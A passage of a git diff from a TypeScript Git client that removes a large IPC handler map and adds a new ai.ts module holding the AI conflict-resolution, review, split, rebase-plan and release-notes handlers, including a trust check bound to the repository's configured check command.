...patch }; - if (nextPatch.key !== undefined && nextPatch.key) { - const format = nextPatch.format ?? (await ops.getSigningConfig(git, repoPath)).effective.format; - if (format === 'openpgp') { - const gpgPath = tools.current().gpg.path; - if (!gpgPath) throw new GitError({ message: 'GPG was not found, so the key could not be verified. Install GnuPG or set its location.', command: '', exitCode: null, stderr: '', stdout: '', code: 'tool-missing' }); - const ok = await gpgKeyExists(gpgPath, await tools.env(), nextPatch.key); - if (!ok) throw new GitError({ message: `No secret key "${nextPatch.key}" was found in the GPG keyring.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'signing-key-missing' }); - } else if (format === 'ssh') { - nextPatch.key = normalizeSshSigningKey(nextPatch.key); - if (!nextPatch.key.startsWith('key::') && !(await sshKeyFileExists(nextPatch.key))) { - throw new GitError({ message: `The SSH key file "${nextPatch.key}" was not found.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'signing-key-missing' }); - } - } - } - await ops.setSigningConfig(git, repoPath, scope, nextPatch); - }, - 'app.signing.keys': async (format, email) => { - const list = - format === 'openpgp' - ? await (async () => { - const gpgPath = tools.current().gpg.path; - if (!gpgPath) throw new Error('GPG was not found. Install GnuPG or set its location in Options → Advanced.'); - return listGpgSecretKeys(gpgPath, await tools.env()); - })() - : await listSshPublicKeys(join(homedir(), '.ssh')); - if (!email) return list; - const norm = email.trim().toLowerCase(); - return [...list].sort((a, b) => Number(b.email?.toLowerCase() === norm) - Number(a.email?.toLowerCase() === norm)); - }, - 'app.signing.test': async (repoPath) => { - const config = (await ops.getSigningConfig(git, repoPath)).effective; - if (!config.format || !config.key) return { ok: false, message: 'Configure a signing format and key first.', needsPassphrase: false }; - if (config.format === 'openpgp') { - const gpgPath = tools.current().gpg.path; - if (!gpgPath) return { ok: false, message: 'GPG was not found. Install GnuPG or set its location in Options → Advanced.', needsPassphrase: false }; - return testGpgSigning(gpgPath, config.key, await tools.env()); - } - if (config.format === 'ssh') { - const sshKeygenPath = tools.current().sshKeygen.path; - if (!sshKeygenPath) return { ok: false, message: 'ssh-keygen was not found. Install OpenSSH 8.8+ to use SSH commit signing.', needsPassphrase: false }; - if (config.key.startsWith('key::')) return { ok: false, message: 'Test signing needs a key file path; a pasted key can only be tested by making a real commit.', needsPassphrase: false }; - return testSshSigning(sshKeygenPath, config.key, await tools.env()); - } - return { ok: false, message: `Signing format "${config.format}" is not supported yet.`, needsPassphrase: false }; - }, - 'repo.remote.set': async (repoPath, name, url) => { - await git.run(repoPath, ['remote', 'set-url', name, url]); - await repos.refreshGitHub(repoPath); - }, - 'repo.remote.add': async (repoPath, name, url) => { - await git.run(repoPath, ['remote', 'add', name, url]); - await repos.refreshGitHub(repoPath); - }, - 'repo.remote.remove': async (repoPath, name) => { - await git.run(repoPath, ['remote', 'remove', name]); - await repos.refreshGitHub(repoPath); - }, - 'repo.worktrees': async (repoPath) => listWorktrees(git, repoPath), - 'repo.blame': async (repoPath, path, rev, ignoreWhitespace) => getBlameResult(git, repoPath, path, rev, ignoreWhitespace), - 'repo.fileAtCommit': async (repoPath, sha, path) => readFileAtCommit(git, repoPath, sha, path), - 'repo.pathHistory': async (repoPath, path) => getPathHistory(git, repoPath, path), - 'repo.submodules': async (repoPath) => { - const origin = (await ops.getRemotes(git, repoPath)).find((r) => r.name === 'origin'); - return getSubmodules(git, repoPath, origin?.fetchUrl || origin?.pushUrl || null); - }, - 'repo.submodule.open': async (repoPath, submodulePath) => repos.openSubmodule(repos.getByPath(repoPath)?.id ?? (await repos.add(repoPath)).id, toFsPath(repoPath, submodulePath)), - 'repo.lfs.status': async (repoPath) => getLfsStatus(git, repoPath, tools.current().gitLfs), - 'repo.lfs.files': async (repoPath) => getLfsFiles(git, repoPath), - 'repo.health.largeFiles': async (repoPath, limit) => withCancellableProgress('generic', 'Scanning for large files', repoPath, (_onProgress, signal) => findLargestBlobs(git, tools, repoPath, limit, signal)), - 'repo.health.staleBranches': async (repoPath, inactiveDays) => getStaleBranches(git, repoPath, inactiveDays), - 'repo.health.housekeeping': async (repoPath) => getHousekeeping(git, repoPath), - 'repos.work': async () => repos.work(), - - // ---------------- git writes ---------------- - 'git.commit': async (repoPath, opts: CommitOptions) => { - const status = await freshStatus(repoPath); - const inProgress = status.operation.kind === 'merge' || status.operation.kind === 'cherry-pick' || status.operation.kind === 'revert'; - return withBusy(repoPath, () => createCommit(git, repoPath, opts, inProgress)); - }, - 'git.undoCommit': async (repoPath) => undoLastCommit(git, repoPath), - 'git.discard': async (repoPath, paths, moveToTrash) => discardPaths(repoPath, paths, moveToTrash), - 'git.discardAll': async (repoPath, moveToTrash) => { - const status = await freshStatus(repoPath); - await discardPaths(repoPath, status.files.map((f) => f.path), moveToTrash); - }, - 'git.discardPatch': async (repoPath, patch) => applyPatchToWorktree(git, repoPath, patch), - 'git.fetch': async (repoPath, remote) => { - const p = progress('fetch', 'Fetching', repoPath); - try { - await withBusy(repoPath, () => ops.fetch(git, repoPath, remote ?? 'origin', (pct, d) => p.update(pct, d))); - } finally { - p.done(); - } - }, - 'git.pull': async (repoPath) => { - const p = progress('pull', 'Pulling', repoPath); - try { - return await withBusy(repoPath, async () => ops.pull(git, repoPath, await pullRebaseFlag(repoPath), (pct, d) => p.update(pct, d))); - } finally { - p.done(); - } - }, - 'git.push': async (repoPath, opts) => { - const p = progress('push', 'Pushing', repoPath); - try { - const branch = opts.branch ?? (await getCurrentBranchName(git, repoPath)); - const remote = opts.remote ?? 'origin'; - await withBusy(repoPath, () => ops.push(git, repoPath, { ...opts, remote: opts.setUpstream || opts.branch ? remote : opts.remote, branch: opts.setUpstream ? branch : opts.branch }, (pct, d) => p.update(pct, d))); - } finally { - p.done(); - } - }, - 'git.checkout': async (repoPath, ref, strategy) => { - await stashBeforeCheckout(repoPath, strategy); - await checkoutBranch(git, repoPath, ref); - }, - 'git.checkoutRemoteBranch': async (repoPath, remoteBranch, strategy) => { - await stashBeforeCheckout(repoPath, strategy); - return checkoutRemoteBranch(git, repoPath, remoteBranch); - }, - 'git.checkoutCommit': async (repoPath, sha) => { - await git.run(repoPath, ['checkout', '--detach', sha]); - }, - 'git.branch.create': async (repoPath, name, startPoint, checkout, strategy) => { - if (checkout) await stashBeforeCheckout(repoPath, strategy); - await createBranch(git, repoPath, name, startPoint, checkout); - }, - 'git.branch.rename': async (repoPath, oldName, newName) => renameBranch(git, repoPath, oldName, newName), - 'git.branch.delete': async (repoPath, name, deleteRemote) => { - const branches = await getBranches(git, repoPath); - const branch = branches.find((b) => b.kind === 'local' && b.name === name); - await deleteLocalBranch(git, repoPath, name); - if (deleteRemote && branch?.upstream) { - const slash = branch.upstream.indexOf('/'); - if (slash > 0) await deleteRemoteBranch(git, repoPath, branch.upstream.slice(0, slash), branch.upstream.slice(slash + 1)); - } - }, - 'git.branch.deleteRemote': async (repoPath, remote, name) => deleteRemoteBranch(git, repoPath, remote, name), - 'git.merge': async (repoPath, branch, squash) => withBusy(repoPath, () => ops.merge(git, repoPath, branch, squash)), - 'git.merge.abort': async (repoPath) => ops.mergeAbort(git, repoPath), - 'git.merge.continue': async (repoPath) => ops.mergeContinue(git, repoPath), - 'git.rebase': async (repoPath, onto) => withBusy(repoPath, () => ops.rebase(git, repoPath, onto)), - // An AI rebase-plan apply that paused on a conflict leaves a resumable session on `rebasePlan` - // (see RebaseApplyService); when one is pending for this repository, Continue/Abort resume or - // fully unwind the *whole* plan instead of just the single paused `git rebase -i` step. - 'git.rebase.continue': async (repoPath, unsigned) => - withBusy(repoPath, () => (rebasePlan.hasPendingApply(repoPath) ? rebasePlan.continueApply(repoPath, unsigned ?? false) : ops.rebaseContinue(git, repoPath, unsigned))), - 'git.rebase.skip': async (repoPath) => withBusy(repoPath, () => ops.rebaseSkip(git, repoPath)), - 'git.rebase.abort': async (repoPath) => { - if (rebasePlan.hasPendingApply(repoPath)) { - await rebasePlan.abortApply(repoPath); - return; - } - return ops.rebaseAbort(git, repoPath); - }, - 'git.cherryPick': async (repoPath, shas) => withBusy(repoPath, () => ops.cherryPick(git, repoPath, shas)), - 'git.cherryPick.continue': async (repoPath) => ops.cherryPickContinue(git, repoPath), - 'git.cherryPick.abort': async (repoPath) => ops.cherryPickAbort(git, repoPath), - 'git.revert': async (repoPath, sha) => withBusy(repoPath, () => ops.revert(git, repoPath, sha)), - 'git.revert.continue': async (repoPath) => ops.revertContinue(git, repoPath), - 'git.revert.abort': async (repoPath) => ops.revertAbort(git, repoPath), - 'git.squash': async (repoPath, opts) => withBusy(repoPath, () => ops.squashCommits(git, repoPath, opts)), - 'git.reorder': async (repoPath, shas, beforeSha) => withBusy(repoPath, () => ops.reorderCommits(git, repoPath, shas, beforeSha)), - 'git.reword': async (repoPath, sha, message) => withBusy(repoPath, () => ops.rewordCommit(git, repoPath, sha, message)), - 'git.dropCommit': async (repoPath, sha) => withBusy(repoPath, () => ops.dropCommit(git, repoPath, sha)), - 'git.stash.push': async (repoPath, message, includeUntracked, paths) => { - const branch = await getCurrentBranchName(git, repoPath); - await ops.stashPush(git, repoPath, message, includeUntracked, paths, branch); - }, - 'git.stash.pop': async (repoPath, ref) => ops.stashPop(git, repoPath, ref), - 'git.stash.apply': async (repoPath, ref) => ops.stashApply(git, repoPath, ref), - 'git.stash.drop': async (repoPath, ref) => ops.stashDrop(git, repoPath, ref), - 'git.stash.branch': async (repoPath, sha, branchName) => withBusy(repoPath, () => ops.stashBranch(git, repoPath, sha, branchName)), - 'git.tag.create': async (repoPath, name, sha, message) => ops.createTag(git, repoPath, name, sha, message), - 'git.tag.delete': async (repoPath, name, remote) => ops.deleteTag(git, repoPath, name, remote), - 'git.tag.push': async (repoPath, name) => ops.pushTag(git, repoPath, name), - 'git.conflict.markResolved': async (repoPath, paths, originals) => { - // Capture manual resolutions (an edit, or a per-block side selection) as worked examples - // for "Resolve remaining like …" before staging: read the current (resolved) content and - // pair it with the pre-resolution snapshot the renderer already held. AI resolutions are - // never captured here — they go through resolveFile, not this handler. - if (originals) { - for (const p of paths) { - const original = originals[p]; - if (original === null || original === undefined) continue; - try { - const resolved = await readFile(toFsPath(repoPath, p), 'utf8'); - resolver.recordExample(repoPath, p, original, resolved); - } catch (err) { - log.warn(`Could not capture manual resolution example for ${p}: ${(err as Error).message}`); - } - } - } - await ops.markResolved(git, repoPath, paths); - }, - 'git.conflict.useSide': async (repoPath, path, side) => ops.useSide(git, repoPath, path, side), - 'git.conflict.unresolve': async (repoPath, path, original) => ops.unresolve(git, repoPath, path, original), - 'git.updateFromDefaultBranch': async (repoPath) => { - const def = await getDefaultBranch(git, repoPath); - if (!def) throw new Error('Could not determine the default branch.'); - const remoteRef = (await git.tryRun(repoPath, ['rev-parse', '--verify', '--quiet', `refs/remotes/origin/${def}`])) ? `origin/${def}` : def; - return withBusy(repoPath, () => ops.merge(git, repoPath, remoteRef, false)); - }, - 'git.stage': async (repoPath, paths) => stageFiles(git, repoPath, paths), - 'git.unstage': async (repoPath, paths) => unstageFiles(git, repoPath, paths), - 'git.isAncestor': async (repoPath, ancestor, descendant) => ops.isAncestor(git, repoPath, ancestor, descendant), - 'git.worktree.add': async (repoPath, opts) => - withBusy(repoPath, async () => { - await addWorktree(git, repoPath, opts); - repos.invalidateWorktrees(); - return repos.add(opts.path); - }), - 'git.worktree.remove': async (repoPath, worktreePath, force) => - withBusy(repoPath, async () => { - await removeWorktree(git, repoPath, worktreePath, force); - repos.invalidateWorktrees(); - const existing = repos.getByPath(worktreePath); - if (existing) await repos.remove(existing.id); - else send('repos.changed', await repos.list()); - }), - 'git.worktree.lock': async (repoPath, worktreePath, locked, reason) => lockWorktree(git, repoPath, worktreePath, locked, reason), - 'git.worktree.prune': async (repoPath) => { - await pruneWorktrees(git, repoPath); - repos.invalidateWorktrees(); - send('repos.changed', await repos.list()); - }, - 'git.submodule.update': async (repoPath, paths, init) => - withCancellableProgress('generic', init ? 'Initializing submodules' : 'Updating submodules', repoPath, (onProgress, signal) => updateSubmodules(git, repoPath, paths, init, onProgress, signal)), - 'git.submodule.sync': async (repoPath) => syncSubmodules(git, repoPath), - 'git.lfs.install': async (repoPath) => lfsInstallLocal(git, repoPath), - 'git.lfs.track': async (repoPath, pattern, track) => setLfsTracking(git, repoPath, pattern, track), - 'git.lfs.fetch': async (repoPath, mode, paths) => - withCancellableProgress('generic', mode === 'fetch-all' ? 'Fetching LFS objects' : 'Pulling LFS objects', repoPath, (onProgress, signal) => lfsFetch(git, repoPath, mode, paths, onProgress, signal)), - 'git.lfs.prune': async (repoPath, dryRun) => lfsPrune(git, repoPath, dryRun), - 'git.branch.deleteMany': async (repoPath, names, deleteRemote) => deleteManyBranches(git, repoPath, names, deleteRemote), - 'git.remote.prune': async (repoPath, remote) => pruneRemote(git, repoPath, remote), - 'git.gc': async (repoPath, aggressive) => withBusy(repoPath, () => runGc(git, repoPath, aggressive)), - 'git.reflog.expire': async (repoPath) => expireReflog(git, repoPath), - - // ---------------- ai ---------------- - 'ai.resolve': async (repoPath, path, checkOutput) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await resolver.resolve(repoPath, path, (p, phase, message) => send('ai.progress', { repoPath, path: p, phase, message }), checkOutput); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.resolveAll': async (repoPath) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await resolver.resolveAll(repoPath, (p, phase, message) => send('ai.progress', { repoPath, path: p, phase, message })); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.resolveAllGuided': async (repoPath) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await resolver.resolveAllGuided(repoPath, (p, phase, message) => send('ai.progress', { repoPath, path: p, phase, message })); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.resolve.useSideForBlock': async (repoPath, path, original, ranges, blockId, side) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await resolver.useSideForBlock(repoPath, path, original, ranges, blockId, side); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'worktree' }); - } - }, - 'ai.resolve.runCheck': async (repoPath, command) => resolver.runCheck(repoPath, command), - 'ai.resolve.examples': async (repoPath) => resolver.getExamplePaths(repoPath), - 'ai.resolve.clearExamples': async (repoPath) => resolver.clearExamples(repoPath), - 'repo.checkConfig': async (repoPath) => { - const command = (await readRepoConfig(repoPath)).postResolveCheck; - const trust = store.getRepoConfigTrust(repoPath, command); - return { command, trustState: trust === true ? 'trusted' : trust === false ? 'declined' : 'unknown' }; - }, - 'repo.trustConfig': async (repoPath, trusted) => { - // Bind the decision to the command that was shown in the confirmation, so a later change to .gitgood/config.json re-prompts. - const command = (await readRepoConfig(repoPath)).postResolveCheck; - store.setRepoConfigTrust(repoPath, trusted, command); - }, - 'ai.cancel': async () => { - resolver.cancel(); - review.cancel(); - splitter.cancel(); - triage.cancel(); - prDraft.cancel(); - rebasePlan.cancel(); - releaseNotes.cancel(); - explain.cancel(); - errorExplain.cancel(); - nlPalette.cancel(); - }, - 'ai.review.plan': async (repoPath, target) => review.plan(repoPath, target), - 'ai.review.start': async (repoPath, target, opts) => review.start(repoPath, target, opts ?? {}, (e) => send('ai.review.progress', e)), - 'ai.review.get': async (repoPath, target) => review.get(repoPath, target), - 'ai.review.dismiss': async (repoPath, runId, findingId, dismissed) => review.dismiss(repoPath, runId, findingId, dismissed), - 'ai.review.post': async (repoPath, opts) => review.post(repoPath, opts), - 'ai.review.startWorktree': async (repoPath, opts) => review.startWorktree(repoPath, opts, (e) => send('ai.review.progress', e)), - 'ai.review.worktreeStale': async (repoPath, runId) => review.worktreeStale(repoPath, runId), - 'ai.review.applySuggestion': async (repoPath, runId, findingId) => review.applySuggestion(repoPath, runId, findingId), - 'ai.review.latest': async (repoPath) => review.latest(repoPath), - 'ai.review.exportPath': async (repoPath, runId) => review.exportPath(repoPath, runId), - 'ai.review.fixWithAgent': async (repoPath, runId) => { - const settings = store.getSettings(); - const template = agentTemplate(settings.ai); - const invalid = validateAgentTemplate(template); - if (invalid) throw new AiError(`${invalid} Set the agent command under Options → AI → Agent for fixes.`, 'not-configured'); - const file = await review.exportPath(repoPath, runId); - // The path is quoted for whichever shell the chosen terminal parses the command with. - const { launched, command } = await openShellWithCommand(settings.shell, settings.shell === 'custom' ? settings.customShellPath : null, repoPath, (quoting) => expandAgentCommand(template, file, quoting), (await tools.env()).PATH); - if (!launched) await host.clipboardWrite(command); - return { launched, command }; - }, - 'ai.explain': async (repoPath, target) => explain.explain(repoPath, target), - 'ai.explain.followUp': async (repoPath, target, history, question) => explain.followUp(repoPath, target, history, question), - 'ai.test': async () => resolver.test(), - 'ai.commitMessage': async (repoPath, files) => resolver.commitMessage(repoPath, files), - 'ai.split.preflight': async (repoPath, files) => splitter.preflight(repoPath, files), - 'ai.split.plan': async (repoPath, files, fileOnly) => splitter.plan(repoPath, files, fileOnly), - 'ai.split.apply': async (repoPath, plan) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await splitter.apply(repoPath, plan, (e) => send('ai.split.progress', e)); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.split.undo': async (repoPath, startSha) => { - const resume = repos.pauseWatcher(repoPath); - try { - await splitter.undo(repoPath, startSha); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.rebase.preflight': async (repoPath, base, shas) => rebasePlan.preflight(repoPath, base, shas), - 'ai.rebase.plan': async (repoPath, base, shas) => rebasePlan.plan(repoPath, base, shas), - 'ai.rebase.apply': async (repoPath, plan) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await withBusy(repoPath, () => rebasePlan.apply(repoPath, plan, (e) => send('ai.rebase.progress', e))); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.rebase.undo': async (repoPath, startSha) => { - const resume = repos.pauseWatcher(repoPath); - try { - await rebasePlan.undo(repoPath, startSha); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - 'ai.explainError': async (repoPath, error, retryable) => errorExplain.explainError(repoPath, error, retryable), - 'ai.prDraft': async (repoPath, input) => prDraft.draft(repoPath, input, (phase, message) => send('ai.progress', { repoPath, path: PR_DRAFT_PROGRESS_PATH, phase, message })), - 'repo.release.range': async (repoPath, query) => releaseNotes.range(repoPath, query), - 'ai.releaseNotes': async (repoPath, input) => releaseNotes.generate(repoPath, input, (phase, message) => send('ai.progress', { repoPath, path: RELEASE_NOTES_PROGRESS_PATH, phase, message })), - 'repo.changelog.insert': async (repoPath, markdown) => { - const fsPath = toFsPath(repoPath, 'CHANGELOG.md'); - let existing: string | null = null; - try { - existing = await readFile(fsPath, 'utf8'); - } catch { - existing = null; - } - const { content, created } = insertIntoChangelog(existing, markdown); - await writeFile(fsPath, content, 'utf8'); - return { created }; - }, - 'gh.release.create': async (repoPath, opts) => gh.releaseCreate(await requireGitHub(repoPath), opts), - 'gh.release.view': async (repoPath, tag) => { - const ref = await repos.detectGitHub(repoPath); - return ref ? gh.releaseView(ref, tag) : null; - }, - 'ai.triage.get': async (repoPath) => triage.get(repoPath), - 'ai.triage.run': async (repoPath, numbers) => triage.run(repoPath, numbers, (e) => send('ai.triage.progress', e)), - 'ai.triage.clear': async (repoPath) => triage.clear(repoPath), - 'git.removeLockFile': async (repoPath) => errorExplain.removeLockFile(repoPath), - - // ---------------- ai command palette ---------------- - 'ai.nl.plan': async (repoPath, request, priorQuestion, answer) => nlPalette.plan(repoPath, request, priorQuestion, answer), - 'ai.nl.preview': async (repoPath, step) => nlPalette.preview(repoPath, step), - 'ai.nl.run': async (repoPath, plan, confirmedStepIds) => { - const resume = repos.pauseWatcher(repoPath); - try { - return await nlPalette.run(repoPath, plan, confirmedStepIds, (e) => send('ai.nl.progress', { ...e, repoPath })); - } finally { - resume(); - send('repo.changed', { repoPath, reason: 'both' }); - } - }, - - // ---------------- auto-update ---------------- - 'app.update.state': async () => updater.getState(), - 'app.update.check': async () => updater.checkNow(true), - 'app.update.download': async () => { - if (updater.canAutoUpdate) { - await updater.startDownload(); - return; - } - const state = updater.getState(); - if (state.status === 'available') await host.openExternal(state.url); - }, - 'app.update.install': async () => { - const currentId = store.getState().currentRepositoryId; - const repo = currentId ? repos.get(currentId) : null; - const operationKind = repo ? (await freshStatus(repo.path)).operation.kind : 'none'; - const gate = canInstall({ operationKind, aiActive: resolver.isActive() || review.isActive() || triage.isActive() || prDraft.isActive() || releaseNotes.isActive() || explain.isActive() || errorExplain.isActive() || splitter.isActive() || rebasePlan.isActive() || nlPalette.isActive() }); - if (!gate.ok) throw new Error(gate.reason); - // Reopen the same repository after the relaunch an install causes. - if (repo) store.updateState({ currentRepositoryId: repo.id }); - await updater.quitAndInstall(); - }, - 'app.update.dismiss': async (version) => updater.dismiss(version), - - // ---------------- settings export / import / gist sync ---------------- - 'settings.export': async (sections) => store.buildExport(sections, await repos.list(false)), - 'settings.exportToFile': async (path, sections) => { - const data = store.buildExport(sections, await repos.list(false)); - await writeFile(path, JSON.stringify(data, null, 2), 'utf8'); - }, - 'settings.previewImport': async (path, mode) => { - const raw = JSON.parse(await readFile(path, 'utf8')); - return store.previewImport(raw, await repos.list(false), mode); - }, - 'settings.import': async (path, mode, sections) => { - const raw = JSON.parse(await readFile(path, 'utf8')); - const settings = store.importSettings(raw, mode, sections); - if (sections.includes('repositories')) send('repos.changed', await repos.list()); - return settings; - }, - 'settings.sync.status': async () => settingsSync.status(), - 'settings.sync.enable': async () => settingsSync.enable(), - 'settings.sync.disable': async (deleteGist) => settingsSync.disable(deleteGist), - 'settings.sync.upload': async () => settingsSync.upload(), - 'settings.sync.download': async (mode) => { - const settings = await settingsSync.download(mode); - send('repos.changed', await repos.list()); - return settings; - }, - }; - - // The palette's execution step calls back into these same handlers (never a shell, never a - // bespoke code path) so it gets identical behaviour to a manual action for the same ApiMethods key. - nlPalette.setDispatcher(async (action, repoPath, args) => (handlers[action] as (...a: unknown[]) => Promise)(repoPath, ...args)); - - // Ensure the last commit message can be pre-filled for amend without another IPC method. - void getLastCommitMessage; - void stat; - - const dispatch = async (method: ApiMethodName, args: unknown[]): Promise> => { - const handler = handlers[method] as ((...a: unknown[]) => Promise) | undefined; - if (!handler) return { ok: false, error: { message: `Unknown method ${String(method)}`, command: '', exitCode: null, stderr: '', stdout: '', code: 'unknown' } }; - try { - const value = await handler(...args); - return { ok: true, value }; - } catch (err) { - const info = toErrorInfo(err); - if (info.code !== 'cancelled') log.warn(`${method} failed: ${info.message.split('\n')[0]}`); - return { ok: false, error: info }; - } - }; - - return { handlers, dispatch }; -} diff --git a/src/main/core/handlers/ai.ts b/src/main/core/handlers/ai.ts new file mode 100644 index 0000000..131e5b3 --- /dev/null +++ b/src/main/core/handlers/ai.ts @@ -0,0 +1,195 @@ +import { readFile, writeFile } from 'node:fs/promises'; +import type { AiFeature } from '@shared/types'; +import { AiError } from '../../ai/backends'; +import { readUsage } from '../../ai/usage'; +import { insertIntoChangelog } from '../../ai/release-notes-core'; +import { toFsPath } from '../../git/diff'; +import { openShellWithCommand } from '../../integrations/shells'; +import { readRepoConfig } from '../../repo/config'; +import { agentTemplate, expandAgentCommand, quotingFor, validateAgentTemplate } from '@shared/agent-presets'; +import type { ApiMethods } from '@shared/ipc'; +import type { HandlerContext } from './context'; + +/** Synthetic `ai.progress` path used for the PR draft service, which has no single file of its own. */ +const PR_DRAFT_PROGRESS_PATH = ''; +/** Synthetic `ai.progress` path used for the release notes service, which has no single file of its own. */ +const RELEASE_NOTES_PROGRESS_PATH = ''; + +export function aiHandlers(ctx: HandlerContext) { + const { errorExplain, explain, gh, host, nlPalette, prDraft, rebasePlan, releaseNotes, repos, requireGitHub, resolver, review, send, splitter, store, tools, triage, withBusy } = ctx; + return { + // ---------------- ai ---------------- + 'ai.resolve': async (repoPath, path, checkOutput) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await resolver.resolve(repoPath, path, (p, phase, message) => send('ai.progress', { repoPath, path: p, phase, message }), checkOutput); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.resolveAll': async (repoPath) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await resolver.resolveAll(repoPath, (p, phase, message) => send('ai.progress', { repoPath, path: p, phase, message })); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.resolveAllGuided': async (repoPath) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await resolver.resolveAllGuided(repoPath, (p, phase, message) => send('ai.progress', { repoPath, path: p, phase, message })); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.resolve.useSideForBlock': async (repoPath, path, original, ranges, blockId, side) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await resolver.useSideForBlock(repoPath, path, original, ranges, blockId, side); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'worktree' }); + } + }, + 'ai.resolve.runCheck': async (repoPath, command) => resolver.runCheck(repoPath, command), + 'ai.resolve.examples': async (repoPath) => resolver.getExamplePaths(repoPath), + 'ai.resolve.clearExamples': async (repoPath) => resolver.clearExamples(repoPath), + 'repo.checkConfig': async (repoPath) => { + const command = (await readRepoConfig(repoPath)).postResolveCheck; + const trust = store.getRepoConfigTrust(repoPath, command); + return { command, trustState: trust === true ? 'trusted' : trust === false ? 'declined' : 'unknown' }; + }, + 'repo.trustConfig': async (repoPath, trusted, command) => { + // A grant is bound to the command the user was shown. If the file changed since, refuse and report the current command so the renderer re-prompts. + const current = (await readRepoConfig(repoPath)).postResolveCheck; + if (trusted && current !== command) return { ok: false, command: current }; + store.setRepoConfigTrust(repoPath, trusted, command); + return { ok: true }; + }, + 'ai.cancel': async (feature) => { + const cancel: Record void> = { + resolver: () => resolver.cancel('resolver'), + commitMessage: () => resolver.cancel('commitMessage'), + review: () => review.cancel(), + split: () => splitter.cancel(), + triage: () => triage.cancel(), + prDraft: () => prDraft.cancel(), + rebase: () => rebasePlan.cancel(), + releaseNotes: () => releaseNotes.cancel(), + explain: () => explain.cancel(), + errorExplain: () => errorExplain.cancel(), + nlPalette: () => nlPalette.cancel(), + }; + cancel[feature]?.(); + }, + 'ai.usage.get': async () => readUsage(), + 'ai.review.plan': async (repoPath, target) => review.plan(repoPath, target), + 'ai.review.start': async (repoPath, target, opts) => review.start(repoPath, target, opts ?? {}, (e) => send('ai.review.progress', e)), + 'ai.review.get': async (repoPath, target) => review.get(repoPath, target), + 'ai.review.dismiss': async (repoPath, runId, findingId, dismissed) => review.dismiss(repoPath, runId, findingId, dismissed), + 'ai.review.post': async (repoPath, opts) => review.post(repoPath, opts), + 'ai.review.startWorktree': async (repoPath, opts) => review.startWorktree(repoPath, opts, (e) => send('ai.review.progress', e)), + 'ai.review.worktreeStale': async (repoPath, runId) => review.worktreeStale(repoPath, runId), + 'ai.review.applySuggestion': async (repoPath, runId, findingId) => review.applySuggestion(repoPath, runId, findingId), + 'ai.review.latest': async (repoPath) => review.latest(repoPath), + 'ai.review.exportPath': async (repoPath, runId) => review.exportPath(repoPath, runId), + 'ai.review.consumeRerunToken': async (repoPath, token) => review.consumeRerunToken(repoPath, token), + 'ai.review.fixWithAgent': async (repoPath, runId) => { + const settings = store.getSettings(); + const template = agentTemplate(settings.ai); + const invalid = validateAgentTemplate(template, quotingFor(settings.shell, process.platform)); + if (invalid) throw new AiError(`${invalid} Set the agent command under Options → AI → Agent for fixes.`, 'not-configured'); + const file = await review.exportPath(repoPath, runId); + // The path is quoted for whichever shell the chosen terminal parses the command with. + const { launched, command } = await openShellWithCommand(settings.shell, settings.shell === 'custom' ? settings.customShellPath : null, repoPath, (quoting) => expandAgentCommand(template, file, quoting), (await tools.env()).PATH); + if (!launched) await host.clipboardWrite(command); + return { launched, command }; + }, + 'ai.explain': async (repoPath, target) => explain.explain(repoPath, target), + 'ai.explain.followUp': async (repoPath, target, history, question) => explain.followUp(repoPath, target, history, question), + 'ai.test': async () => resolver.test(), + 'ai.commitMessage': async (repoPath, files) => resolver.commitMessage(repoPath, files), + 'ai.split.preflight': async (repoPath, files) => splitter.preflight(repoPath, files), + 'ai.split.plan': async (repoPath, files, fileOnly) => splitter.plan(repoPath, files, fileOnly), + 'ai.split.apply': async (repoPath, plan) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await splitter.apply(repoPath, plan, (e) => send('ai.split.progress', e)); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.split.undo': async (repoPath, startSha) => { + const resume = repos.pauseWatcher(repoPath); + try { + await splitter.undo(repoPath, startSha); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.rebase.preflight': async (repoPath, base, shas) => rebasePlan.preflight(repoPath, base, shas), + 'ai.rebase.plan': async (repoPath, base, shas) => rebasePlan.plan(repoPath, base, shas), + 'ai.rebase.apply': async (repoPath, plan) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await withBusy(repoPath, () => rebasePlan.apply(repoPath, plan, (e) => send('ai.rebase.progress', e))); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.rebase.undo': async (repoPath, startSha) => { + const resume = repos.pauseWatcher(repoPath); + try { + await rebasePlan.undo(repoPath, startSha); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + 'ai.explainError': async (repoPath, error, retryable) => errorExplain.explainError(repoPath, error, retryable), + 'ai.prDraft': async (repoPath, input) => prDraft.draft(repoPath, input, (phase, message) => send('ai.progress', { repoPath, path: PR_DRAFT_PROGRESS_PATH, phase, message })), + 'repo.release.range': async (repoPath, query) => releaseNotes.range(repoPath, query), + 